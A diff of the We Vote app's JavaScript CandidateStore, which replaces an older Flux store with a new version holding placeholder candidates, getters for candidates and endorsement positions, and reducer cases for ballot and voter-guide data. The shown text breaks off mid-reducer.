- if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
- // Do not proceed
- // console.log('voterGuidesUpcomingRetrieve Oppose position already exists');
- } else {
- onePosition = this.createCandidatePosition(oneCandidateWeVoteId, oneVoterGuide);
- // These are oppose positions
- onePosition.is_oppose = true;
- onePosition.is_negative_rating = false;
- onePosition.is_oppose_or_negative_rating = true;
-
- // console.log('CandidateStore oppose onePosition: ', onePosition);
- allCachedPositionsAboutCandidates[oneCandidateWeVoteId][oneVoterGuide.organization_we_vote_id] = onePosition;
- }
- }
- });
- }
- });
-
- // console.log('CandidateStore allCachedPositionsAboutCandidates:', allCachedPositionsAboutCandidates);
- return {
- ...state,
- allCachedPositionsAboutCandidates,
- };
-
- case 'error-candidateRetrieve' || 'error-positionListForBallotItem':
- console.log(action);
- return state;
-
- default:
- return state;
- }
- }
-}
-
-export default new CandidateStore(Dispatcher);
+import { ReduceStore } from 'flux/utils';
+import OfficeActions from '../actions/OfficeActions';
+import Dispatcher from '../common/dispatcher/Dispatcher';
+
+import { mostLikelyOfficeDictFromList } from '../utils/candidateFunctions';
+import normalizedImagePath from '../common/utils/normalizedImagePath'; // eslint-disable-line import/no-cycle
+import stringContains from '../common/utils/stringContains';
+import { extractNumberOfPositionsFromPositionList } from '../utils/positionFunctions'; // eslint-disable-line import/no-cycle
+import OfficeStore from './OfficeStore';
+
+class CandidateStore extends ReduceStore {
+ getInitialState () {
+ const explanationCandidates = {
+ candidateAlexanderHamilton: {
+ we_vote_id: 'candidateAlexanderHamilton',
+ ballot_item_display_name: 'Alexander Hamilton',
+ candidate_photo_url_large: normalizedImagePath('../../../img/global/photos/Alexander_Hamilton-48x48.png'),
+ contest_office_name: 'President',
+ party: 'Nonpartisan',
+ },
+ candidateForLoading1: {
+ we_vote_id: 'candidateForLoading1',
+ ballot_guide_official_statement: 'Candidate data is loading now...',
+ ballot_item_display_name: 'Loading...',
+ candidate_photo_url_large: '',
+ contest_office_name: '',
+ linked_campaignx_we_vote_id: 'campaignForLoading1',
+ party: '',
+ },
+ candidateForLoading2: {
+ we_vote_id: 'candidateForLoading2',
+ ballot_item_display_name: 'Loading...',
+ ballot_guide_official_statement: 'Candidate data is loading now...',
+ candidate_photo_url_large: '',
+ contest_office_name: '',
+ linked_campaignx_we_vote_id: 'campaignForLoading1',
+ party: '',
+ },
+ candidateForLoading3: {
+ we_vote_id: 'candidateForLoading3',
+ ballot_item_display_name: 'Loading...',
+ ballot_guide_official_statement: 'Candidate data is loading now...',
+ candidate_photo_url_large: '',
+ contest_office_name: '',
+ linked_campaignx_we_vote_id: 'campaignForLoading1',
+ party: '',
+ },
+ };
+ const explanationPositions = {
+ candidateAlexanderHamilton: [
+ {
+ position_we_vote_id: 'positionOneAlexanderHamilton',
+ ballot_item_display_name: 'Alexander Hamilton',
+ ballot_item_we_vote_id: 'candidateAlexanderHamilton',
+ kind_of_ballot_item: 'CANDIDATE',
+ is_support: true,
+ is_support_or_positive_rating: true,
+ speaker_display_name: 'Sierra Club',
+ speaker_type: 'G',
+ speaker_we_vote_id: 'organizationSierraClub',
+ speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
+ contest_office_name: 'President',
+ party: 'Nonpartisan',
+ },
+ {
+ position_we_vote_id: 'positionTwoAlexanderHamilton',
+ ballot_item_display_name: 'Alexander Hamilton',
+ ballot_item_we_vote_id: 'candidateAlexanderHamilton',
+ kind_of_ballot_item: 'CANDIDATE',
+ is_support: true,
+ is_support_or_positive_rating: true,
+ speaker_display_name: 'Oprah',
+ speaker_type: 'PF',
+ speaker_we_vote_id: 'organizationOprah',
+ speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
+ contest_office_name: 'President',
+ party: 'Nonpartisan',
+ },
+ {
+ position_we_vote_id: 'positionThreeAlexanderHamilton',
+ ballot_item_display_name: 'Alexander Hamilton',
+ ballot_item_we_vote_id: 'candidateAlexanderHamilton',
+ kind_of_ballot_item: 'CANDIDATE',
+ is_support: true,
+ is_support_or_positive_rating: true,
+ speaker_display_name: 'League of Women Voters',
+ speaker_type: 'G',
+ speaker_we_vote_id: 'organizationLeagueOfWomenVoters',
+ speaker_image_url_https_large: 'https://wevote-images.s3.amazonaws.com/wv02org1061/twitter_profile_image-20180818_1_200x200.jpeg',
+ contest_office_name: 'President',
+ party: 'Nonpartisan',
+ },
+ ],
+ };
+
+ return {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId: {}, // key == campaignXWeVoteId, value = candidateWeVoteId
+ allCachedCandidates: explanationCandidates, // Dictionary with candidate_we_vote_id as key and the candidate as value
+ allCachedPositionsAboutCandidates: explanationPositions, // Dictionary with candidate_we_vote_id as one key, organization_we_vote_id as the second key, and the position as value
+ // allCachedPositionsAboutPoliticians: {}, // Dictionary with politician_we_vote_id as key, and the position as value
+ candidateListsByOfficeWeVoteId: {}, // Dictionary with office_we_vote_id as key and list of candidates in the office as value
+ candidateListsByPoliticianWeVoteId: {}, // Dictionary with politician_we_vote_id as key and list of candidates linked to the politician as value
+ candidateWeVoteIdInFutureByPoliticianWeVoteId: {}, // Dictionary with politician_we_vote_id as key and the candidate_we_vote_id as value
+ numberOfCandidatesRetrievedByOffice: {}, // Dictionary with office_we_vote_id as key and number of candidates as value
+ positionListRetrieveCompleteByBallotItem: {}, // Dictionary with candidate_we_vote_id as key and list of positions as value
+ };
+ }
+
+
+ positionListRetrieveHasCompletedForCandidate (candidateWeVoteId) {
+ return this.getState().positionListRetrieveCompleteByBallotItem[candidateWeVoteId] || false;
+ }
+
+ getAllCachedPositionsDictByCandidateWeVoteId (candidateWeVoteId) {
+ return this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
+ }
+
+ getAllCachedPositionsByCandidateWeVoteId (candidateWeVoteId) {
+ const allCachedPositionsForThisCandidateDict = this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
+ return Object.values(allCachedPositionsForThisCandidateDict);
+ }
+
+ // This function/data is in CandidateStore instead of PoliticianStore, since we are using
+ // the substantial support for positions related to Candidates, instead of building Politician-specific
+ // support.
+ getAllCachedPositionsByPoliticianWeVoteId (politicianWeVoteId) {
+ const candidateList = this.getState().candidateListsByPoliticianWeVoteId[politicianWeVoteId] || [];
+ // console.log('getAllCachedPositionsByPoliticianWeVoteId candidateList', candidateList);
+ let allCachedPositionsList = [];
+ let allCachedPositionsListForThisCandidate;
+ let allCachedPositionsForThisCandidateDict;
+ let candidateWeVoteId;
+ candidateList.forEach((item) => {
+ candidateWeVoteId = item.we_vote_id;
+ allCachedPositionsForThisCandidateDict = this.getState().allCachedPositionsAboutCandidates[candidateWeVoteId] || {};
+ // console.log('111) allCachedPositionsForThisCandidateDict', allCachedPositionsForThisCandidateDict);
+ allCachedPositionsListForThisCandidate = Object.values(allCachedPositionsForThisCandidateDict);
+ // console.log('222) allCachedPositionsListForThisCandidate', allCachedPositionsListForThisCandidate);
+ allCachedPositionsList = allCachedPositionsList.concat(allCachedPositionsListForThisCandidate);
+ });
+ // // And add cached positions from politician_we_vote_id
+ // const allCachedPositionsListForPolitician = this.getState().allCachedPositionsAboutPoliticians[politicianWeVoteId] || {};
+ // console.log('CandidateStore.getAllCachedPositionsByPoliticianWeVoteId allCachedPositionsListForPolitician', allCachedPositionsListForPolitician);
+ // if (allCachedPositionsListForPolitician) {
+ // allCachedPositionsList = allCachedPositionsList.concat(Object.values(allCachedPositionsListForPolitician));
+ // }
+ // console.log('getAllCachedPositionsByPoliticianWeVoteId ', politicianWeVoteId, ', candidateList:', candidateList, ', allCachedPositionsList:', allCachedPositionsList);
+ return allCachedPositionsList;
+ }
+
+ getAnalyticsCandidateDetails (candidateWeVoteId) {
+ const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
+ return {
+ candidateWeVoteId,
+ candidateName: candidate ? this.getCandidateName(candidateWeVoteId) : '',
+ image: candidate ? candidate.candidate_photo_url_medium : '',
+ officeName: candidate ? candidate.contest_office_name : '',
+ politicianWeVoteId: candidate ? candidate.politician_we_vote_id : '',
+ politicalParty: candidate ? candidate.party : '',
+ stateCode: candidate?.state_code ? candidate.state_code.toUpperCase() : '',
+ twitterHandle: candidate ? candidate.candidate_twitter_handle : '',
+ };
+ }
+
+ getCandidateByLinkedCampaignXWeVoteId (campaignXWeVoteId) {
+ const candidateWeVoteId = this.getState().allCachedCandidateWeVoteIdsByCampaignXWeVoteId[campaignXWeVoteId] || '';
+ const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
+ // console.log('CandidateStore getCandidateByLinkedCampaignXWeVoteId campaignXWeVoteId:', campaignXWeVoteId, ', candidate:', candidate);
+ if (candidate === undefined) {
+ return {};
+ }
+ return candidate;
+ }
+
+ getCandidateByWeVoteId (candidateWeVoteId) {
+ if (this.getState().allCachedCandidates && candidateWeVoteId in this.getState().allCachedCandidates) {
+ return this.getState().allCachedCandidates[candidateWeVoteId] || {};
+ } else {
+ return {};
+ }
+ }
+
+ getCandidateList () {
+ const candidateList = Object.values(this.getState().allCachedCandidates);
+ return candidateList || [];
+ }
+
+ getCandidateListByOfficeWeVoteId (officeWeVoteId) {
+ // console.log('officeWeVoteId:', officeWeVoteId, ', this.getState().candidateListsByOfficeWeVoteId:', this.getState().candidateListsByOfficeWeVoteId);
+ const candidateListsDict = this.getState().candidateListsByOfficeWeVoteId;
+ if (candidateListsDict) {
+ return candidateListsDict[officeWeVoteId] || [];
+ } else {
+ return [];
+ }
+ }
+
+ getCandidateListByPoliticianWeVoteId (politicianWeVoteId) { // TODO Replace with getAllCachedPositionsByPoliticianWeVoteId
+ // console.log('politicianWeVoteId:', politicianWeVoteId, ', this.getState().candidateListsByOfficeWeVoteId:', this.getState().candidateListsByOfficeWeVoteId);
+ const candidateListsDict = this.getState().candidateListsByPoliticianWeVoteId;
+ if (candidateListsDict) {
+ return candidateListsDict[politicianWeVoteId] || [];
+ } else {
+ return [];
+ }
+ }
+
+ getCandidateName (candidateWeVoteId) {
+ const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
+ if (candidate && candidate.candidate_name) {
+ return candidate.candidate_name;
+ } else if (candidate && candidate.ballot_item_display_name) {
+ return candidate.ballot_item_display_name;
+ }
+ return '';
+ }
+
+ // getCandidateRunningFromPoliticianWeVoteId (politicianWeVoteId) {
+ // return {};
+ // }
+
+ getCandidateWeVoteIdRunningFromPoliticianWeVoteId (politicianWeVoteId) {
+ const candidateWeVoteIdInFutureByPoliticianWeVoteId = this.getState().candidateWeVoteIdInFutureByPoliticianWeVoteId || {};
+ if (politicianWeVoteId && candidateWeVoteIdInFutureByPoliticianWeVoteId && candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId]) {
+ return candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId];
+ }
+ return '';
+ }
+
+ getMostLikelyOfficeDictFromCandidateWeVoteId (candidateWeVoteId) {
+ const candidate = this.getCandidateByWeVoteId(candidateWeVoteId);
+ // console.log('getMostLikelyOfficeDictFromCandidateWeVoteId candidate:', candidate)
+ if (candidate && candidate.contest_office_list && candidate.contest_office_list[0]) {
+ return mostLikelyOfficeDictFromList(candidate.contest_office_list);
+ }
+ // Not ideal
+ // console.log('getMostLikelyOfficeDictFromCandidateWeVoteId falling back on candidate.contest_office_we_vote_id');
+ return {
+ contest_office_name: candidate.contest_office_name,
+ contest_office_we_vote_id: candidate.contest_office_we_vote_id,
+ election_day_text: candidate.election_day_text,
+ google_civic_election_id: candidate.google_civic_election_id,
+ state_code: candidate.state_code,
+ };
+ }
+
+ getNumberOfCandidatesRetrievedByOffice (officeWeVoteId) {
+ return this.getState().numberOfCandidatesRetrievedByOffice[officeWeVoteId] || 0;
+ }
+
+ getNumberOfPositionsByCandidateWeVoteId (candidateWeVoteId) {
+ let numberOfAllSupportPositions = 0;
+ let numberOfAllOpposePositions = 0;
+ let numberOfAllInfoOnlyPositions = 0;
+ if (this.getAllCachedPositionsByCandidateWeVoteId(candidateWeVoteId)) {
+ const results = extractNumberOfPositionsFromPositionList(this.getAllCachedPositionsByCandidateWeVoteId(candidateWeVoteId));
+ ({ numberOfAllSupportPositions, numberOfAllOpposePositions, numberOfAllInfoOnlyPositions } = results);
+ }
+ return {
+ numberOfAllSupportPositions,
+ numberOfAllOpposePositions,
+ numberOfAllInfoOnlyPositions,
+ };
+ }
+
+ getPositionAboutCandidateFromOrganization (candidateWeVoteId, orgWeVoteId) {
+ const positionsAboutCandidate = this.getAllCachedPositionsDictByCandidateWeVoteId(candidateWeVoteId);
+ // console.log('CandidateStore, candidateId: ', candidateId, 'organization_we_vote_id: ', organization_we_vote_id);
+ // console.log('CandidateStore, getPositionAboutCandidateFromOrganization: ', positions_about_candidate[organization_we_vote_id]);
+ return positionsAboutCandidate[orgWeVoteId] || [];
+ }
+
+ getVoterCanEditThisCandidate (candidateWeVoteId = '') {
+ console.log('candidateWeVoteId:', candidateWeVoteId);
+ return false;
+ }
+
+ isCandidateInStore (candidateId) {
+ const candidate = this.getState().allCachedCandidates[candidateId] || {};
+ if (candidate.we_vote_id) {
+ return true;
+ } else {
+ return false;
+ }
+ }
+
+ createCandidatePosition (oneCandidateWeVoteId, oneVoterGuide) {
+ const candidateObject = this.getCandidateByWeVoteId(oneCandidateWeVoteId);
+ // console.log('candidateObject: ', candidateObject);
+ // console.log('createCandidatePosition oneVoterGuide: ', oneVoterGuide);
+ const onePosition = {
+ position_we_vote_id: '', // Currently empty
+ ballot_item_display_name: candidateObject.ballot_item_display_name,
+ ballot_item_image_url_https_large: candidateObject.candidate_photo_url_large,
+ ballot_item_image_url_https_medium: candidateObject.candidate_photo_url_medium,
+ ballot_item_image_url_https_tiny: candidateObject.candidate_photo_url_tiny,
+ ballot_item_twitter_handle: candidateObject.twitter_handle,
+ ballot_item_political_party: candidateObject.party,
+ kind_of_ballot_item: 'CANDIDATE',
+
+ // ballot_item_id: 0,
+ ballot_item_we_vote_id: oneCandidateWeVoteId,
+
+ ballot_item_state_code: candidateObject.state_code,
+ contest_office_id: candidateObject.contest_office_id,
+ contest_office_we_vote_id: candidateObject.contest_office_we_vote_id,
+ contest_office_name: candidateObject.contest_office_name,
+ is_support: false, // These are filled in later
+ is_positive_rating: false,
+ is_support_or_positive_rating: false,
+ is_oppose: false,
+ is_negative_rating: false,
+ is_oppose_or_negative_rating: false,
+ is_information_only: false,
+ is_public_position: true,
+ organization_we_vote_id: oneVoterGuide.organization_we_vote_id,
+ speaker_we_vote_id: oneVoterGuide.organization_we_vote_id,
+ speaker_display_name: oneVoterGuide.voter_guide_display_name,
+ speaker_image_url_https_large: oneVoterGuide.voter_guide_image_url_large,
+ speaker_image_url_https_medium: oneVoterGuide.voter_guide_image_url_medium,
+ speaker_image_url_https_tiny: oneVoterGuide.voter_guide_image_url_tiny,
+ speaker_twitter_handle: oneVoterGuide.twitter_handle,
+ speaker_type: oneVoterGuide.voter_guide_owner_type,
+ voter_guide_we_vote_id: oneVoterGuide.we_vote_id,
+ vote_smart_rating: '',
+ vote_smart_time_span: '',
+ google_civic_election_id: oneVoterGuide.google_civic_election_id,
+
+ // state_code: '',
+ more_info_url: '',
+ statement_text: '',
+ last_updated: '',
+ };
+ // console.log('CandidateStore, voterGuidesToFollowRetrieve, onePosition: ', onePosition);
+ return onePosition;
+ }
+
+ reduce (state, action) {
+ const {
+ allCachedCandidates, allCachedCandidateWeVoteIdsByCampaignXWeVoteId, allCachedPositionsAboutCandidates,
+ candidateWeVoteIdInFutureByPoliticianWeVoteId, numberOfCandidatesRetrievedByOffice,
+ positionListRetrieveCompleteByBallotItem,
+ } = state;
+ let {
+ candidateListsByOfficeWeVoteId, candidateListsByPoliticianWeVoteId,
+ } = state;
+ // Exit if we don't have a successful response (since we expect certain variables in a successful response below)
+ if (!action.res || !action.res.success) return state;
+
+ let ballotItemWeVoteId;
+ let calculatedOfficeWeVoteId;
+ let candidate;
+ let candidateList;
+ let contestOfficeWeVoteId = '';
+ let googleCivicElectionId;
+ let incomingCandidateCount = 0;
+ let localCandidateList = [];
+ let newPositionList;
+ let officePositionList;
+ let oneCandidateModified;
+ let onePosition;
+ let opponentCandidateList;
+ let organizationWeVoteId = '';
+ let politicianWeVoteId = '';
+ let voterGuides;
+ const positionList = action.res.position_list;
+ const isEmpty = voterGuides && voterGuides.length === 0;
+ const searchTermExists = action.res.search_string !== '';
+ const ballotItemWeVoteIdExists = ballotItemWeVoteId && ballotItemWeVoteId.length !== 0;
+
+ // January 2019: Switch cases could be DRYer.
+
+ switch (action.type) {
+ case 'candidateRetrieve':
+ // Make sure we have information for the office the candidate is running for
+ if (action.res.contest_office_we_vote_id) {
+ const office = OfficeStore.getOffice(action.res.contest_office_we_vote_id);
+ if (!office || !office.ballot_item_display_name) {
+ OfficeActions.officeRetrieve(action.res.contest_office_we_vote_id);
+ }
+ }
+
+ candidate = action.res;
+ allCachedCandidates[candidate.we_vote_id] = candidate;
+ if (candidate.linked_campaignx_we_vote_id) {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId[candidate.linked_campaignx_we_vote_id] = candidate.we_vote_id;
+ }
+ return {
+ ...state,
+ allCachedCandidates,
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
+ };
+
+ case 'candidatesQuery':
+ case 'candidatesRetrieve':
+ // Make sure we have information for the office the candidate is running for
+ if (action.res.contest_office_we_vote_id) {
+ contestOfficeWeVoteId = action.res.contest_office_we_vote_id;
+ const office = OfficeStore.getOffice(action.res.contest_office_we_vote_id);
+ if (!office || !office.ballot_item_display_name) {
+ OfficeActions.officeRetrieve(action.res.contest_office_we_vote_id);
+ }
+ }
+
+ incomingCandidateCount = 0;
+ if (action.type === 'candidatesQuery') {
+ candidateList = action.res.candidates;
+ } else {
+ candidateList = action.res.candidate_list;
+ }
+ // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
+ if (!candidateListsByOfficeWeVoteId) {
+ candidateListsByOfficeWeVoteId = {};
+ }
+ localCandidateList = [];
+ candidateList.forEach((one) => {
+ allCachedCandidates[one.we_vote_id] = one;
+ if (one.linked_campaignx_we_vote_id) {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
+ }
+ incomingCandidateCount += 1;
+ localCandidateList.push(one);
+ });
+ // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
+ // console.log('localCandidateList:', localCandidateList);
+ if (contestOfficeWeVoteId) {
+ candidateListsByOfficeWeVoteId[contestOfficeWeVoteId] = localCandidateList;
+ }
+ // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
+ // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
+ // candidateListsByOfficeWeVoteId[contestOfficeWeVoteId].forEach((two) => {
+ // console.log('two:', two);
+ // });
+ if (contestOfficeWeVoteId) {
+ numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
+ }
+
+ return {
+ ...state,
+ allCachedCandidates,
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
+ candidateListsByOfficeWeVoteId,
+ numberOfCandidatesRetrievedByOffice,
+ };
+
+ case 'politicianRetrieve':
+ case 'politicianRetrieveAsOwner':
+ incomingCandidateCount = 0;
+ candidateList = action.res.candidate_list || [];
+ opponentCandidateList = action.res.opponent_candidate_list || [];
+ politicianWeVoteId = action.res.politician_we_vote_id;
+ // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
+ if (!candidateListsByPoliticianWeVoteId) {
+ candidateListsByPoliticianWeVoteId = {};
+ }
+ // //////////////////////////////
+ // Process information about the opponents of this politician
+ incomingCandidateCount = 0;
+ localCandidateList = [];
+ // Figure out the contest_office_we_vote_id the opponents ran in opposite this politician
+ opponentCandidateList.forEach((one) => {
+ if (one && one.contest_office_we_vote_id) {
+ calculatedOfficeWeVoteId = one.contest_office_we_vote_id;
+ contestOfficeWeVoteId = calculatedOfficeWeVoteId;
+ }
+ });
+ opponentCandidateList.forEach((one) => {
+ // Not all candidate records have a contest_office_we_vote_id, so we are forcing them all to match
+ oneCandidateModified = { ...one, contest_office_we_vote_id: calculatedOfficeWeVoteId };
+ allCachedCandidates[one.we_vote_id] = oneCandidateModified;
+ if (one.linked_campaignx_we_vote_id) {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
+ }
+ incomingCandidateCount += 1;
+ localCandidateList.push(oneCandidateModified);
+ });
+ if (contestOfficeWeVoteId) {
+ candidateListsByOfficeWeVoteId[contestOfficeWeVoteId] = localCandidateList;
+ numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
+ }
+ // //////////////////////////////
+ // Now Capture the politician's information
+ localCandidateList = [];
+ candidateList.forEach((one) => {
+ allCachedCandidates[one.we_vote_id] = one;
+ if (one.election_is_upcoming) {
+ candidateWeVoteIdInFutureByPoliticianWeVoteId[politicianWeVoteId] = one.we_vote_id;
+ }
+ if (one.linked_campaignx_we_vote_id) {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
+ }
+ // incomingCandidateCount += 1;
+ localCandidateList.push(one);
+ });
+ // console.log('localCandidateList:', localCandidateList);
+ if (politicianWeVoteId) {
+ candidateListsByPoliticianWeVoteId[politicianWeVoteId] = localCandidateList;
+ }
+ // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
+ // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
+ // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
+
+ return {
+ ...state,
+ allCachedCandidates,
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
+ candidateListsByOfficeWeVoteId,
+ candidateListsByPoliticianWeVoteId,
+ candidateWeVoteIdInFutureByPoliticianWeVoteId,
+ numberOfCandidatesRetrievedByOffice,
+ };
+
+ case 'representativesQuery':
+ // incomingRepresentativeCount = 0;
+ // candidateList = action.res.candidates || [];
+ // // console.log('CandidateStore candidatesRetrieve contestOfficeWeVoteId:', contestOfficeWeVoteId, ', candidateList:', candidateList);
+ // candidateList.forEach((one) => {
+ // // allCachedCandidates[one.we_vote_id] = one;
+ // incomingRepresentativeCount += 1;
+ // });
+ // // console.log('localRepresentativeList:', localRepresentativeList);
+ // // console.log('candidateListsByOfficeWeVoteId:', candidateListsByOfficeWeVoteId);
+ // // console.log('candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]:', candidateListsByOfficeWeVoteId[contestOfficeWeVoteId]);
+ // // candidateListsByOfficeWeVoteId[contestOfficeWeVoteId].forEach((two) => {
+ // // console.log('two:', two);
+ // // });
+ //
+ // return {
+ // ...state,
+ // allCachedCandidates,
+ // candidateListsByOfficeWeVoteId,
+ // numberOfCandidatesRetrievedByOffice,
+ // };
+ return state;
+
+ case 'allBallotItemsRetrieve':
+ case 'voterAddressSave':
+ case 'voterBallotItemsRetrieve':
+ // console.log(action.type, ': in CandidateStore');
+ googleCivicElectionId = action.res.google_civic_election_id || 0;
+ if (googleCivicElectionId !== 0) {
+ action.res.ballot_item_list.forEach((ballotItem) => {
+ if (ballotItem.kind_of_ballot_item === 'OFFICE' && ballotItem.candidate_list) {
+ contestOfficeWeVoteId = ballotItem.we_vote_id;
+ candidateList = ballotItem.candidate_list || [];
+ incomingCandidateCount = 0;
+ candidateList.forEach((one) => {
+ allCachedCandidates[one.we_vote_id] = one;
+ if (one.linked_campaignx_we_vote_id) {
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId[one.linked_campaignx_we_vote_id] = one.we_vote_id;
+ }
+ incomingCandidateCount += 1;
+ });
+ // console.log(action.type, ' contestOfficeWeVoteId:', contestOfficeWeVoteId, ', incomingCandidateCount:', incomingCandidateCount);
+ if (contestOfficeWeVoteId) {
+ numberOfCandidatesRetrievedByOffice[contestOfficeWeVoteId] = incomingCandidateCount;
+ }
+ }
+ });
+ // console.log(`${action.type} allCachedCandidates:`, allCachedCandidates);
+
+ return {
+ ...state,
+ allCachedCandidates,
+ allCachedCandidateWeVoteIdsByCampaignXWeVoteId,
+ numberOfCandidatesRetrievedByOffice,
+ };
+ }
+ return state;
+
+ case 'positionListForBallotItem':
+ case 'positionListForBallotItemFromFriends':
+ // console.log('positionListForBallotItem action.res:', action.res);
+
+ positionListRetrieveCompleteByBallotItem[action.res.ballot_item_we_vote_id] = true;
+
+ if (action.res.count === 0) {
+ return {
+ ...state,
+ positionListRetrieveCompleteByBallotItem,
+ };
+ }
+
+ if (action.res.kind_of_ballot_item === 'CANDIDATE') {
+ newPositionList = action.res.position_list || [];
+ newPositionList.forEach((oneIncomingPosition) => {
+ ballotItemWeVoteId = oneIncomingPosition.ballot_item_we_vote_id;
+ organizationWeVoteId = oneIncomingPosition.speaker_we_vote_id;
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
+ }
+
+ // console.log('CandidateStore oneIncomingPosition: ', oneIncomingPosition);
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = oneIncomingPosition;
+ });
+
+ return {
+ ...state,
+ allCachedPositionsAboutCandidates,
+ positionListRetrieveCompleteByBallotItem,
+ };
+ } else if (action.res.kind_of_ballot_item === 'OFFICE') {
+ officePositionList = action.res.position_list || [];
+
+ officePositionList.forEach((oneIncomingPosition) => {
+ ballotItemWeVoteId = oneIncomingPosition.ballot_item_we_vote_id;
+ organizationWeVoteId = oneIncomingPosition.speaker_we_vote_id;
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
+ }
+
+ // console.log('CandidateStore oneIncomingPosition: ', oneIncomingPosition);
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = oneIncomingPosition;
+ });
+
+ return {
+ ...state,
+ allCachedPositionsAboutCandidates,
+ positionListRetrieveCompleteByBallotItem,
+ };
+ } else {
+ return state;
+ }
+
+ case 'positionListForOpinionMaker':
+ // console.log('CandidateStore, positionListForOpinionMaker response');
+ organizationWeVoteId = action.res.opinion_maker_we_vote_id;
+ positionList.forEach((one) => {
+ ballotItemWeVoteId = one.ballot_item_we_vote_id;
+ if (stringContains('cand', ballotItemWeVoteId)) {
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = {};
+ }
+
+ // console.log('CandidateStore one_position_here: ', one_position_here);
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][organizationWeVoteId] = one;
+ }
+ });
+ return {
+ ...state,
+ allCachedPositionsAboutCandidates,
+ };
+
+ case 'voterGuidesToFollowRetrieve':
+ // This code harvests the support/oppose positions that are passed in along with voter guides,
+ // and stores them so we can request them in cases where the response package for
+ // voterGuidesToFollowRetrieve does not include the position data
+
+ // console.log('CandidateStore voterGuidesToFollowRetrieve');
+ voterGuides = action.res.voter_guides || [];
+ ballotItemWeVoteId = action.res.ballot_item_we_vote_id || '';
+
+ if (isEmpty || searchTermExists) {
+ // Exit this routine
+ // console.log('exiting CandidateStore voterGuidesToFollowRetrieve - no voter guides or search results');
+ return state;
+ }
+
+ if (ballotItemWeVoteIdExists && stringContains('cand', ballotItemWeVoteId)) {
+ // Case 1: voterGuidesToFollowRetrieve focused on one ballot item
+ voterGuides.forEach((oneVoterGuide) => {
+ // Make sure we have a position in the voter guide
+ if (oneVoterGuide.is_support_or_positive_rating || oneVoterGuide.is_oppose_or_negative_rating || oneVoterGuide.is_information_only) {
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId] = {};
+ }
+
+ if (!allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id]) {
+ allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id] = {};
+ }
+
+ onePosition = allCachedPositionsAboutCandidates[ballotItemWeVoteId][oneVoterGuide.organization_we_vote_id];
+ // Only proceed if the position doesn't already exist
+ if (Object.prototype.hasOwnProperty.call(onePosition, 'ballot_item_we_vote_id')) {
+ // Do not proceed
+ // console.log('CandidateStore voterGuidesToFollowRetrieve part 1 position already exists');
+ } else {
+ onePosition = {
+ position_we_vote_id: oneVoterGuide.position_we_vote_id, // Currently empty
+ ballot_item_display_name: oneVoterGuide.ballot_item_display_name,
+ ballot_item_image_url_https_large: oneVoterGuide.ballot_item_image_url_https_large,
+ ballot_item_image_url_https_medium: oneVoterGuide.ballot_item_image_url_https_medium,
